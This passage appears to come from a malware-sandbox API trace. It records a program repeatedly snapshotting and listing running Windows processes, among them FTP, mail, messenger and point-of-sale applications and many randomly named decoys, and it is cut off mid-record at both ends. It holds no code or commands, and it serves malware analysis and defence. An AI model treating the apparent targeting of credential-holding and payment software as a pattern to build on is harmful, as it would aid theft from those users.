[0250.042] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0250.044] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0250.047] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0250.050] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0250.053] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0250.056] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0250.058] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0250.061] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0250.064] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0250.067] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0250.069] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0250.074] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0250.077] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0250.079] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0250.082] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0250.085] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0250.088] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0250.122] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0250.125] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0250.157] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0250.161] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0250.164] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0250.169] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0250.174] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0250.177] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0250.181] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0250.185] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0250.188] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0250.193] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0250.197] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0250.200] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0250.204] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0250.224] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0250.228] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0250.231] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0250.234] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0250.243] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0250.246] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0250.250] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0250.253] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0250.257] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0250.291] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0250.296] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0250.299] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0250.302] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0250.306] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0250.309] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0250.312] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0250.316] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0250.319] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0250.322] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0250.325] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0250.328] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0250.334] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0250.337] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0250.340] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0250.343] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0250.347] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0250.350] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0250.353] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0250.357] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0250.360] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0250.362] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0250.366] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0250.368] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0250.371] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0250.374] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0250.377] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0250.380] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0250.383] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0250.386] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0250.388] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0250.391] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0250.394] CloseHandle (hObject=0x2198) returned 1 [0250.395] Sleep (dwMilliseconds=0x64) [0250.397] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0250.446] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.448] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.450] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.452] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.454] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.456] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.457] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.459] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.461] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.462] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.465] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, 